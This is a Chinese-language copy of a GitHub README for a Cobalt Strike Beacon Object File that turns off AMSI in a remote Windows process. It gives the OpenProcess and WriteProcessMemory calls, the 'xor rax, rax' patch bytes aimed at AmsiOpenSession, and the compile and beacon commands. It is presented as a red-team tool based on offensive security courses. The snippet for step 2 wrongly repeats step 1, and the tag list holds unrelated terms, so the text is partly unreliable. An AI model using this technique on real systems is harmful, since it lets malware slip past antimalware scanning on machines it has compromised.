boku7/injectAmsiBypass

GitHub: boku7/injectAmsiBypass

通过代码注入在远程进程中修补 AmsiOpenSession 函数实现 AMSI 绕过的 Cobalt Strike BOF 工具。

Stars: 382 | Forks: 70

## Cobalt Strike BOF - 注入 AMSI 绕过 通过代码注入在远程进程中绕过 AMSI 的 Cobalt Strike Beacon Object File (BOF)。 #### 从 CobaltStrike 运行 inject-amsiBypass BOF ![](https://static.pigsec.cn/wp-content/uploads/repos/2026/03/68585e9219123158.png) ### 这有什么作用? ##### 1. 使用提供的 PID 参数获取远程进程的句柄 ``` hProc = KERNEL32$OpenProcess(PROCESS_VM_OPERATION | PROCESS_VM_WRITE, FALSE, (DWORD)pid); ``` ##### 2. 将 AMSI.DLL 加载到 beacon 内存中并获取 AMSI.AmsiOpenSession 的地址 ``` hProc = KERNEL32$OpenProcess(PROCESS_VM_OPERATION | PROCESS_VM_WRITE, FALSE, (DWORD)pid); ``` + Beacon 和目标进程将拥有相同的符号地址。 + 如果 AMSI.DLL 在远程进程中不存在,运行此操作可能会导致目标进程崩溃。 ##### 3. 将 AMSI 绕过代码写入远程进程内存 ``` unsigned char amsibypass[] = { 0x48, 0x31, 0xC0 }; // xor rax, rax BOOL success = KERNEL32$WriteProcessMemory(hProc, amsiOpenSessAddr, (PVOID)amsibypass, sizeof(amsibypass), &bytesWritten); ``` ### 方法 = AMSI.AmsiOpenSession + 使用 Offensive Security 的 PEN-300/OSEP(规避技术与突破防御)课程中教授的 AMSI 绕过技术。 + https://www.offensive-security.com/pen300-osep/ ### 概念验证演示截图 #### 之前 - Powershell.exe AMSI.AmsiOpenSession ![](https://static.pigsec.cn/wp-content/uploads/repos/2026/03/36aef978a1123159.png) #### 之后 - Powershell.exe AMSI.AmsiOpenSession ![](https://static.pigsec.cn/wp-content/uploads/repos/2026/03/48d3420671123201.png) ### 使用 x64 MinGW 编译: ``` x86_64-w64-mingw32-gcc -c inject-amsiBypass.c -o inject-amsiBypass.o ``` ### 从 Cobalt Strike Beacon 控制台运行 ``` beacon> inject-amsiBypass ``` + 确保将 inject-amsiBypass.cna 脚本加载到 Cobalt Strikes Script Manager 中 ### 待办事项清单 + 在注入前检查 AMSI.DLL 是否存在于远程进程中 + 添加其他 AMSI 绕过方法以进行注入 + 支持 x86 ### 致谢 / 参考 ##### Raphael Mudge - Beacon Object Files - Luser 演示 + https://www.youtube.com/watch?v=gfYswA_Ronw ##### Cobalt Strike - Beacon Object Files + https://www.cobaltstrike.com/help-beacon-object-files ##### BOF 代码参考 ###### ajpc500/BOFs + https://github.com/ajpc500/BOFs/ ###### trustedsec/CS-Situational-Awareness-BOF + https://github.com/trustedsec/CS-Situational-Awareness-BOF ##### Sektor7 Malware Dev Essentials 课程 + https://institute.sektor7.net/red-team-operator-malware-development-essentials ##### Offensive Security OSEP + https://www.offensive-security.com/pen300-osep/
标签:AMSI Bypass, AmsiOpenSession, BOF, Cobalt Strike, Conpot, Gophish, MinGW, OSEP, PEN-300, SCP, SSH蜜罐, Windows安全, 免杀技术, 内存写入, 反恶意软件扫描接口, 客户端加密, 客户端加密, 攻击诱捕, 数据展示, 暴力破解检测, 欺骗防御, 私有化部署, 端点可见性, 红队, 绕过AMSI, 进程注入, 远程进程, 防御规避